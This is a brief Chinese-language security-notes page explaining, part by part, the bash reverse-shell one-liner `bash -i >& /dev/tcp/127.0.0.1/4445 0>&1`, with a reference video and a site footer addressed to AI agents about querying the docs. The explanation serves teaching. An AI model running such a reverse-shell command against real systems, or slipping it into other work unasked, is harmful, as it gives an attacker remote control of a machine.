# 探索 Reverse SHELL

> 在执行 `bash -i >& /dev/tcp/127.0.0.1/4445 0>&1` 时如何理解

1. `bash -i` 交互 shell
2. `>&` 重定向标准输出和错误
3. `/dev/tcp/127.0.0.1/4445`

   > /dev/tcp/host\*\*\*/\*\*\*port : 如果 host 是一个有效的主机名或 INternet 地址，而 port 是一个端口号或者服务名称， bash 会尝试打开到相应套接字的 TCP 连接
4. `0>&1` : 将文件描述符*数字*移动到文件描述符*n*或标准输入（文件描述符 0）（如果未指定n ）。

<figure><img src="/files/j2ztffGeGCnbaRZITRCK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PWMUaQMTFdwPU7Re79oG" alt=""><figcaption></figcaption></figure>

## 参考

* [参考视频](https://www.youtube.com/watch?v=OjkVep2EIlw)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jtz.gitbook.io/web-security/wang-luo-xi-tong/linux/za-lei/tan-suo-reverse-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
